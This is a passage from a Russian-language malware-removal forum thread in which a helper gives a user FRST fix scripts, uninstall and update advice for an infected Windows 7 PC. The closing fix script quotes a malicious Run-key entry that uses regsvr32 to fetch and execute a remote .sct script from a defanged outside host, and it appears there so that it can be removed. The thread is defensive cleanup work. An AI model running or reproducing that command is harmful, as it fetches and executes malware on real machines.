FirewallRules: [{D138A087-052A-42C4-B882-9C31188BB5B6}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{245D38D5-BBE0-4665-9F14-8EFDB79BA7F4}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{F9CBFE8A-27CE-4089-8210-352E7388FA4C}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{E01C7D74-F63C-443D-94D9-3B6A51F6E95B}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{DE881D43-D2F6-4339-83F4-5D138F225D6F}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{DCE52E40-C333-42C4-85FA-C1FD095E5D27}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{1B0497A2-6267-4E5D-99E8-BC1B7050BFDF}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{74C8DE65-4246-40F7-B415-E3D97A320CD7}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{56FD421B-5995-4F33-B0F6-CDBF3D3623B5}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{314B1895-3F6E-476A-8BAD-3D6427C66C48}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{2A4A3C59-B8C9-4CB4-9377-0147606C6FDF}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{645FE7ED-22E9-428E-9F82-65A76571E01C}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{27ADAADB-7BC4-4E11-90E9-6CF2452A5C70}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{E9EAAB84-32E9-445B-B3E1-1EC939721566}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{F828B90E-3A4E-4559-B4DA-BDCCDD8FFE5F}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{2A1C5593-28EA-4F80-8ED8-B675401EEB78}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{475FD305-1A8E-4052-A524-16548BE8696F}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{324BBC9C-B601-47F0-A165-2AE9A3CAB356}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{788D4F0B-6918-474A-A8AE-B53548C0C743}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{CE0AC9C1-B45A-4A6D-A434-162B902E1ECB}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{43E15C9A-E26D-4AE6-9590-1F9668B1DDE5}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{AF62ABC6-B241-4CF1-A2B5-99353C63C8FC}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{833A3405-CEBE-42A6-B6CD-A9A0CDF5D965}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{1EEE700E-6BCC-4AB7-AAF9-58707689C64C}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{E9C842F2-1F46-48EB-9A42-51B3A6610C92}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{AF1C9208-FFE2-4022-965F-089EAAD367D6}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{D9133C2B-F2DA-4258-A466-25327715B29D}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{A23ECC90-5387-4BBC-B20D-D6BAEEB17C8B}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{8397830D-2433-4C4D-9686-8B64158A1F88}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{0225D340-E2B8-47FB-876B-6EB4311C1508}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{3012AF6B-7AD6-4149-BC3A-2EA6CFF98573}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{B13FACC1-3CA9-4391-8938-CC8CD2155AFD}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{39F6A11C-3911-4960-B9D9-4B89FC191E96}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{AF67F222-B031-415C-8216-10ADBBA0D7DF}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{06CFE1FF-67A1-43CF-9BB3-3B99E3C07161}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{99C67176-691C-4108-9B05-8E4DCD8F5D6F}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{2703BF77-7B30-43D1-B8C5-51E389AC42FB}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{CCF1E613-96AD-42D1-9B6C-06678D859646}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{959EA2E9-9DAD-42F1-A1F7-8674E893C3E1}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{070B52B1-E625-4F7F-936A-47F6B8398EF2}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{1B012AF7-63D0-4A2F-8FCB-8F221655F42B}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{73B1F917-59B0-4530-9E35-8161C0BC6BD4}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{016B8DDB-D048-471D-8083-0E31B332FC61}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{F6BF0158-87CB-4079-B224-A78A0D5628EA}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{5BE1F511-6DDF-4A2D-A7F6-60E519B5D659}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{FEFAEAB7-AD4F-4FDF-B1FD-977EBD6CE376}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{901BE0FF-C7AB-4FE4-918A-E50EC674A99E}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{541A62A9-51E8-4957-BB3F-985BFB0FCEDC}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{FC66EB8A-B541-4871-B92A-D8F6FE0956EE}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{F0D01E9F-1EED-4DC5-8F88-7618641F133A}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{0F378B1D-C700-4BEB-8C71-37AB5A50B14E}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{A5340409-3AE1-4DF3-983B-3CC28B78E145}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{82A79305-31A7-4FB0-8E25-E0912394ECAD}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{C5C74A65-2C24-4BEA-BA10-63BEDEBF54EC}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{2D5016B6-B29D-47EA-A448-8A54CA62AD1B}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{3BED1D0B-D643-4BD5-8508-4654E0BA0EFE}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{9F84C7A2-93B4-495E-9597-AE85EFD49BD7}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{5FAE6A4C-FC28-4B36-89B1-0A62D63C0067}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{C7C550DC-B3FC-415F-ADA2-45AB4395AAE5}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{9D29D4BF-F5FA-4CC9-B547-455905B5C611}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{E53A2590-4829-4B1B-98A4-DA1648167B8F}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{30FABB24-95FD-4F0C-83FF-CB5BDF66F545}] => (Allow) C:\Users\User\AppData\Local\Media Network Sharing\msiexec64.exe () [File not signed]
FirewallRules: [{3788032F-1A70-4421-89B2-C953029D28AE}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{A2DA8DA7-ABFD-4CFE-ADF3-4CA6EF667AAF}] => (Allow) C:\Users\User\AppData\Local\NTUSER.DAT\msiexec64.exe () [File not signed]
FirewallRules: [{39D25B85-B212-4FD6-B92D-402CFD43E1DF}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{16085051-0471-4E0C-B8AA-2C6D8628EB5C}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{62E657B6-1479-4CA4-B40C-24E0DA1E30C8}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{78917A12-4D86-4D08-8D23-409C6662044E}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{79261C5E-AA03-4DDB-8826-830F94615009}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{1223BA87-45E6-4186-8E46-FADA3B4C10D6}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{F135014D-F6D3-497A-BAE5-87AFC8EA328D}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{307DA76B-AF03-4A33-83D9-C9853E2C1636}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{FFD43F23-0923-4219-9D0E-CC3F1D27F45B}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{32769393-5BC1-4148-A6D4-36F7E58D5A7A}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{64BDF70D-3781-46E0-8BA6-B515E9EEFC77}] => (Allow) C:\Users\User\AppData\Local\NTUSER.DAT\msiexec64.exe () [File not signed]
FirewallRules: [{BD4C470E-CFD3-4139-AD9A-43077F45AFFD}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{12A385ED-510B-44CF-AA78-CCBDDE44854B}] => (Allow) C:\Users\User\AppData\Local\NTUSER.DAT\msiexec64.exe () [File not signed]
FirewallRules: [{ADB44115-4BA7-4219-9C85-EE0E577FF28F}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{8503AA5D-CFEA-496A-91C4-A6EEFFF03E48}] => (Allow) C:\Users\User\AppData\Local\NTUSER.DAT\msiexec64.exe () [File not signed]
FirewallRules: [{ACFF3EBA-A1BE-466C-A499-D12A47FA9808}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{C09376C8-72CE-40A8-9495-EB1DB727F78C}] => (Allow) C:\Users\User\AppData\Local\NTUSER.DAT\msiexec64.exe () [File not signed]
FirewallRules: [{FF8E75A6-F1A6-448B-BEB5-791ABFFBDF60}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{BD719C3E-2CA0-4CE5-AE9C-F1E917037503}] => (Allow) C:\Users\User\AppData\Local\NTUSER.DAT\msiexec64.exe () [File not signed]
FirewallRules: [{912A3A60-253F-4C24-89DD-A4F0E3DF73CE}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{6F0021EF-BA85-4F70-8E37-C62C29183127}] => (Allow) C:\Users\User\AppData\Local\NTUSER.DAT\msiexec64.exe () [File not signed]
FirewallRules: [{775E6588-D58C-48BD-BD17-A525D86ACD4B}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{9F5B1432-FDC8-4F1F-9DC5-978C3E0AA0EA}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{05D9763C-005C-44E1-B592-355C5DC4F5F2}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{18FDDE94-FE03-40EE-BE35-64E1962887EF}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{C327F8F5-22D2-4C9B-8A64-114D9704914E}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{C429282C-1C44-4EFA-A7CD-2223F5D164E4}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{8920A559-4E73-49E0-80E9-B4F47B15D9E6}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{5B2C60F5-3E62-40C9-BCF3-6C24A0854F7B}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{9A81AE6E-290E-42E7-9E41-94A5FC83D339}] => (Allow) C:\Windows\SysWOW64\svchost.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{0D2D290C-336A-4D7F-AC93-B12CDB691693}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{E644532D-2F3F-4FAB-8F74-FBA7FA49574C}] => (Allow) C:\Windows\SysWOW64\tracert.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{808AF2A7-E1A9-4BA8-827D-9D1AE79C3F21}] => (Allow) C:\Users\User\AppData\Local\NTUSER.DAT\msiexec64.exe () [File not signed]
FirewallRules: [{CEC4CC17-1A55-4441-A5FC-5BBA49201E56}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{D7D19564-25BF-4451-B68F-2B4488BBE30B}] => (Allow) C:\Users\User\AppData\Local\NTUSER.DAT\msiexec64.exe () [File not signed]
FirewallRules: [{583F51B2-9CDB-4723-AB8E-F9AB498A2B9F}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{E33778A7-CC5B-433B-95F6-6F309B39E6D3}] => (Allow) C:\Users\User\AppData\Local\NTUSER.DAT\msiexec64.exe () [File not signed]
FirewallRules: [{521E863E-093B-45EF-9B4E-44B8C8F8BD88}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{62E19ABE-01E1-4C72-A31A-3DDB2BF2E4AB}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{018DDC51-2CE8-4A25-9789-B6C195CD3192}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{37963593-8208-4F7E-B021-A27718710B7F}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{2EA80B50-B5A8-4D69-A1A6-2074F87FA421}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{D6CA12F9-B234-413B-9C9B-480EEB30289E}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{FE56791E-A52E-4DA1-A8E5-117BBB661DED}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{721C6616-8F35-456F-9A38-34551DAFECC4}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{0BD74751-BB12-41DC-89A5-8F2C4739C50E}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{4BD3E935-BA05-4774-9A61-C8ED2E779890}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{3AD21A6D-A08D-4DD5-A639-AF1B965787A3}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{8462EDA1-43A6-4632-A18F-E98898C34FB3}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{8870CC83-70F9-48BA-84DF-DF00C08B7F6C}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{352BB64B-62D6-443E-BE6E-6F8288CE4CF2}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{B372777D-132C-4475-8049-58B83CEBABD0}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{39004EA6-277F-4C28-97EE-AE3354EB24DC}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{431BE1B6-9D5D-4B84-ADF5-E5459D9C2C8B}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{13CE8BE8-432F-4DFC-B32E-7265C464AD6C}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{E00111D8-41F8-4EFE-A887-FE219892849E}] => (Allow) C:\Windows\SysWOW64\rundll32.exe (Microsoft Windows -> Microsoft Corporation)
FirewallRules: [{EE33DAB9-9B58-4BE6-9BDB-CA4D0088875F}] => (Block) LPort=445
FirewallRules: [{097E56D0-1F86-4EF7-A910-83C2A3BBAABD}] => (Block) LPort=139
Reboot:
End::[/CODE]Запустите FRST.EXE/FRST64.EXE, нажмите один раз [B]Fix[/B] и подождите. Программа создаст лог-файл ([B]Fixlog.txt[/B]). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

Деинсталлируйте программы:
Amazon Assistant
Bing Bar
McAfee True Key

Удалите остатки Avast! утилитой [URL="http://www.avast.ru/uninstall-utility"]aswclear.exe [/URL] в [URL="http://virusinfo.info/showthread.php?t=9279"]безопасном режиме[/URL].
05.04.2020, 00:32
Krotr

Вложений: 1

Amazon Assistant деинсталлировать не смог, при попытке начиналась установка, которая заканчивалась скорой ошибкой. Остальное всё удалил.
05.04.2020, 12:39
Vvvyg

Выделите и скопируйте в буфер обмена следующий код:[CODE]Start::
Virustotal: C:\Users\User\AppData\Local\Media Network Sharing\MsieXEc64.Exe
C:\Users\User\AppData\Local\Media Network Sharing
C:\Users\User\AppData\Local\NTUSER.DAT
End::[/CODE]Запустите FRST.EXE/FRST64.EXE, нажмите один раз [B]Fix[/B] и подождите. Программа создаст лог-файл ([B]Fixlog.txt[/B]). Прикрепите его к своему следующему сообщению.

Сделайте лог [URL="https://virusinfo.info/showthread.php?t=218752&p=1480546&viewfull=1#post1480546"]Malwarebytes AdwCleaner[/URL].
05.04.2020, 12:59
Krotr

Вложений: 2

Ещё появился вопрос : А может ли у меня зависать так пк из-за того, что у меня до сих пор стоит операционная система "windows 7"?
05.04.2020, 13:40
Vvvyg

Если в системе нет проблем - и 7-ка нормально работает. Вычистили кучу троянов, майнеров, adware, сейчас полегче должно быть.

Загрузите, распакуйте на Рабочий стол и запустите [URL="https://yadi.sk/d/xIUtpEqJq4wru"]SecurityCheck by glax24 & Severnyj[/URL].
Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши [B]Запуск от имени администратора[/B] (если Вы используете Windows Vista/7/8/10).
Если увидите предупреждение от фаервола относительно программы SecurityCheck, не блокируйте ее работу.
Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt;
Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например [I]C:\SecurityCheck\SecurityCheck.txt[/I].

Приложите этот файл к своему следующему сообщению.
05.04.2020, 14:13
Krotr

Вложений: 1

А вот я и не знаю даже, есть проблемы в системе или нет.

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Просто такое ощущение, что что-то прям перегружает систему и происходит такое. Неисправности к примеру. Подумал, что из-за операционной системы устаревшей,что типа устарели драйвера, вот и спросил.
05.04.2020, 14:51
Vvvyg

Даже устаревшую систему стоит обновить, у вас отсутствует множество критических фиксов, в т. ч. KB4512486 и KB4012212, которые закрывает опаснейшие уязвимости, известные как BlueKeep и EternalBlue, используемые шифровальщиками, а также многими майнерами и троянами.

Установите [URL="https://blog.simplix.info/update7/"]Набор обновлений UpdatePack7R2 для Windows 7 SP1 и Server 2008 R2 SP1[/URL]. Для установки Internet Explorer 11 запускать с ключом /IE11

[QUOTE][color=red][b]Контроль учётных записей пользователя [b]отключен[/b][/b][/color][/QUOTE]
Рекомендую ознакомиться со статьёй [URL="http://www.outsidethebox.ms/10034/"]Так ли страшен контроль учетных записей (UAC)?[/URL] и включить.

Удалите USB Disk Security, при наличии антивируса - совершенно бесполезная вещь.

[QUOTE]WinRAR 5.31 v.5.31 [color=red][b]Внимание! [url=https://www.rarlab.com/download.htm]Скачать обновления[/url][/b][/color][/QUOTE]Архиваторы тоже используются в нехороших целях:
[URL="https://www.anti-malware.ru/news/2019-02-21-1447/28944"]Дыра в WinRAR более 19 лет угрожала 500 миллионам пользователей[/URL].
[URL="https://www.securitylab.ru/news/498365.php"]Уязвимость в WinRAR активно эксплуатируется злоумышленниками[/URL].

Удалите все установленные версии Java, они устаревшие и со множеством критических уязвимостей.
Если Java вообще нужна для каких- либо приложений, игр (и Вы точно знаете, для каких именно) - установите [URL="http://www.java.com/ru/download/"]текущий билд Java 8[/URL].
Учтите, что 64-bit версия Java нужна только для очень ограниченного круга приложений.
[QUOTE]Adobe Flash Player 32 NPAPI v.32.0.0.223 [color=red][b]Внимание! [url=http://download.macromedia.com/pub/flashplayer/latest/help/install_flash_player.exe]Скачать обновления[/url][/b][/color]
Adobe Flash Player 32 PPAPI v.32.0.0.223 [color=red][b]Внимание! [url=http://download.macromedia.com/pub/flashplayer/latest/help/install_flash_player_ppapi.exe]Скачать обновления[/url][/b][/color][/QUOTE]Обновите обязательно.

[QUOTE]Игровой центр v.4.1433 [color=red][b]Внимание! Приложение распространяется в рамках партнерских программ и сборников-бандлов.[/b][/color] Рекомендуется деинсталляция. Возможно Вы стали жертвой обмана или социальной инженерии.
Unity Web Player v.5.3.5f1 [color=red][b]Внимание! Приложение распространяется в рамках партнерских программ и сборников-бандлов.[/b][/color] Рекомендуется деинсталляция. Возможно Вы стали жертвой обмана или социальной инженерии.
Голосовой помощник Алиса v.5.0.0.1903 [color=red][b]Внимание! Приложение распространяется в рамках партнерских программ и сборников-бандлов.[/b][/color] Рекомендуется деинсталляция. Возможно Вы стали жертвой обмана или социальной инженерии.
Менеджер браузеров v.3.0.7.830 [color=blue][b]<< Скрыта[/b][/color] [color=red][b]Внимание! Приложение распространяется в рамках партнерских программ и сборников-бандлов.[/b][/color] Рекомендуется деинсталляция. Возможно Вы стали жертвой обмана или социальной инженерии.[/QUOTE]
Это тоже удалите, если не пользуетесь.
05.04.2020, 16:04
Krotr

Всё сделал, но при запуске открываются эта же строка и пк зависает. Также открыл библиотеку планировщика и нашел там файлы Mysa, ... 1,... 2,... 3
При их удалении, снова появляются.
05.04.2020, 19:08
Vvvyg

Снова пролечитесь KVRT и новый лог FRST сделайте.
05.04.2020, 19:24
Krotr

Хорошо, кст может дело в том, что у меня проблемы с windows installer?? Мне несколько раз выскакивало окошко с ошибкой, что он не найден или типа того.
05.04.2020, 19:35
Vvvyg

Потом попробуем починит, надо долечить сначала.
05.04.2020, 20:45
Krotr

Вложений: 2

Как скажете

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

[ATTACH=CONFIG]681300[/ATTACH]

Вот про что я говорил, решил показать
05.04.2020, 22:37
Vvvyg

А Вы точно пролечились KVRT? Не похоже.
Попробуйте [URL="https://free.drweb.ru/download+cureit+free/?lng=ru"]Dr. Web CureIt![/URL], только в безопасном режиме.
06.04.2020, 00:31
Krotr

Вложений: 3

Нужно же файлы которые в карантине удалять? Запущу KVRT ещё разок. И скачаю Dr. Web. Также я почистил мусор из загрузок.

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Заметил, что после повторной проверки KVRT , нашлось столько же троянов, и я снова нажал всё нейтрализовать. Сейчас пройдет лечение и я запущу Dr.Web Curelt

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Также , как я понимаю, эта командная строка... Если пройти по её пути, там 2 файла : "u.exe" и "Isma12.exe". Почитал статьи и в данных путях это только вирусы, у истинной программы путь свой, ну это логично.

Завершить лечение не удается, сначала лечение идет в безопасном режиме (я про KVRT) потом пк перезагруэаетчя в нормальный режим и зависает. Попробую Dr. Web

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

[ATTACH=CONFIG]681304[/ATTACH]

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Я был, мягко говоря, удивлён работой Dr.Web . Он нашёл в 22 раза больше угроз. Пк стал запускаться и работать заметно шустрее, но сама проблема не пропала. Отправляю отчёт Dr.Web и лог FRST.

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Вот
06.04.2020, 07:59
Vvvyg

Выделите и скопируйте в буфер обмена следующий код:[CODE]Start::
CreateRestorePoint:
CloseProcesses:
HKLM-x32\...\Run: [start] => regsvr32 /u /s /i:hxxp://js.ftp1202.site:280/v.sct scrobj.dll <==== ATTENTION
HKLM\ DisallowedCertificates: 1990649205B55EAB5D692E9EDB1BE0DDD3B037DE (U)
HKLM\ DisallowedCertificates: 3AD010247A8F1E991F8DDE5D47989CB5202E5614 (U)
HKLM\ DisallowedCertificates: 6A2C691767C2F1999B8C020CBAB44756A99A0C41 (U)
HKLM\ DisallowedCertificates: 6B6FA65B1BDC2A0F3A7E66B590F93297B8EB56B9 (U)
HKLM\ DisallowedCertificates: 8835437D387BBB1B58FF5A0FF8D003D8FE04AED4 (U)
HKLM\ DisallowedCertificates: 9FEB091E053D1C453C789E8E9C446D31CB177ED9 (U)
HKLM\ DisallowedCertificates: C597D4E7FF9CE5BD3EC321C11827FCA9294A6BA1 (U)
HKLM\ DisallowedCertificates: D3FD325D0F2259F693DD789430E3A9430BB59B98 (U)
HKU\S-1-5-21-336028783-3233290375-1713493059-1000\...\Run: [Browser Manager] => C:\Users\User\AppData\Local\Yandex\BrowserManager\MBLauncher.exe [130056 2018-08-16] (YANDEX LLC -> Yandex LLC)
HKU\S-1-5-21-336028783-3233290375-1713493059-1000\...\MountPoints2: {237ebabd-4be2-11e8-9862-bc5ff4d36f82} - K:\AutoRun.exe
